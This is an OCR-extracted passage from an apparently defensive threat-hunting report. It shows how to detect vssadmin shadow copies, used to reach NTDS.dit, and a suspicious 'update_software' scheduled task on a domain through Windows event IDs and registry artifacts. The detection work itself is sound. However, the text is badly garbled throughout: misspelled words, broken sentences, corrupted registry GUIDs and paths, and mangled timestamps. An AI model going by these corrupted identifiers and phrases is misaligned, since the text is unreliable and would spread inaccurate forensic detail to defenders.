Figure 25. Vssadmin Command and @by NTDS.dit.

We can detect this activity from the Windows ews (system events) with the ID (7036):

Event 7036, Service Control Manager

General | Details

The Microsoft Software Shadow Copy Provider service entered the stopped state.

Figure 26. Shadow Copy Everit System Event ID (7036).
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After investigating the security events, we found another event for using the vssadmin utility:

Event 4904, Microsoft Windows security auditing.

General | Details

|An attempt was made to register a security event source.

Subject:
Security ID: SYSTEM
Account Name: DC-015
Account Domain: HABOOCE
Logen ID: 3ET7
Process:
Process |D: (nacc

Process Name:  C:\Windows\System32\VS5VC.exe |

Event Source:
Source Name:  V5SAudit
Event Source ID:  (xC4A35

Figure 27. Vssadmin Rocess - Security Event ID (4904)

Also, this activity has been triggered in th&Vindows event gpplication even):

Event 13, WSS

General | Details

Volume Shadow Copy Service information: The COM Server with CLSID {e5792b5f-1ccd-44b4-bed8-de02811f0623} and nare Coordinator cannot be started. [(x80070005, Access is denied.

Figure 28. VSS Shadow CopyApplication Event ID (13).

There is a great artifact for which you can olerve and detect any shadow copy has been
created on the Domain Controller. This artifact can be found in the registry and you can know
how manyshadow copies have been created:

[3 {4d36e978-e325-11ce-bfc1-08002be10318}

3 {33172480-4791-11d0-25d6-28db04c 10000}

I~ o {33f36307-bBbf-11d0-94f2-00a0c91efb2b}

I {33f36208-b6bf-11d0-94f2-00a0c91efblb}

a {33f3630d-bbbf-11d0-94f2-00a0c%1efb8b}
b | #2725CSIECdRom&Yen_NECYMWar&Prod_VMware_SATA_CDO1£5812368b4a&080100002{53f5630d-bEbf-11d0-0472-00a0c91 efblb}
b #F#TE5TORAGE#V olume#{717aaebl-3cd2- 11ea-80b4- 206666953 [F000000D000 1000002 33f5630d-bEbf-11d0-94f2-00a0c9 1 efbBb}
b | #272STORAGE#Volume#(717aaeb8-5cdl2- 11ea-80b4-806e6f6e6963 200000000 15F00000#{53f5630d- bEbf-11d0-04F2-00a0cT 1efhb}
- | #ETESTORAGE#VolumeSnapshot#HarddiskVelumeSnapshot1#{33f3620d-b6bf-11d0-94f2-0020c %1 efb8b}

: 2

N #272STORAGE#VolumeSnapshot#HarddiskVolumeSnapshot2#{33f3630d-bbbf-11d0-94f2-00a0c%1efb8b} |

¥
I~ 0 153f3630e-bBbf-11d0-94f2-00a0c91efb8b}
- |y {33f36311-bBbf-11d0-04f2-00a0c91efbeb}
- |y {3716439-9115-4e78-ab535-382f3bd5422d}
3 {3b45201d-f2f2-4f3b-85bb-30f1f933599} v

Computer\HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f5630d-b6bf-11d0-94f2-00alc91efbb }\##7#5T ORAGE#VolumeSnapshot¥HarddiskVolumeSnapshot2#{ 33f 3630d-b6bf - 11d0-94f2-00a0c 3 1efb8b]

Figure 29. Registry Value for Shadow Copidaformation.

In figure 29, you can see that there are two registry keys for the two shadow copies that have
been created. As dhreat hunter, you have to notely only on the windows event for detecting
this kind of activities, in fact, you have to investigatellghe artifacts on the machineas well
as guessing what an attacker can do in a critical server like the D@&king yourself such
guestions will help you to speed up the investigation.
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Whenever an attacker of a red teamer hmcompromised amachine or has a full control over
the domain, he usually creates a persistence way on the machine. Some of the persistence
techniques used by the red teamers are the schedule taskA schedule task can be created
to make aprogram or an executable file running in a period of time (like every day, every
week, or at a specific time).

We will check the Windows event (schedule task events) to see if there is any abnormal
schedule task has been created:

Event 108, TaskScheduler

General  Details

User "5-1-5-18" |registered Task Scheduler task "\update_software"

Log Name: Microsoft-Windows-TaskScheduler/Operational

Source: TaskScheduler Logged: 47142020 £:12:31 AM
Event ID: 106 Task Category: Task registered

Level: Infarmation Keywords:

User: SYSTEM Computer: PC-02.Haboob.local

Figure 30. "update_software" Task hedule- TaskScheduler Event 1[§106).

Event 100, TaskScheduler

General  Details

Task Scheduler started "{23230a83-32f2-4cB1-bf7f-d9eefel66e80}" instance of the "\update_software" task for user "NT AUTHORITY\SYSTEM".

Log Name: Microsoft-Windows-TaskScheduler/Operational

Source: TaskScheduler Logged: 4/14/2020 £:39:36 AM
Event ID: 100 Task Category: Task Started

Level: Information Keywords: (1)

User: SYSTEM Computer: PC-02.Haboob.local

Figure 31. "update_software" Task Schede - TaskScheduler Event 1[§100).

The above events from the TaskScheduler eventygpe show that there is a task schedule has

been created by NT AUTHORNSYSTEM with a task name (update_software). Although the
name of the task schedule seems to be normal and not suspiciousut as athreat hunter we

have to investigate more on this task and confirm whether the taskisanormalorn d eed it
a malicious task.
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We will go to the location of all the taskg(CYWindows System32 Tasks)in order to find and
openthe task in question (update_softwareand see its configuration

Figure 32. "update_softwae" Task Hle.

We opened the file (update_software) on the notepad to see the content of the task:

Figure 33. "update_software'File Content.

After checking the content of the file, we can find that the task is scheduled to exeéewa bat
file called (update.bat) on €Windows Temp.
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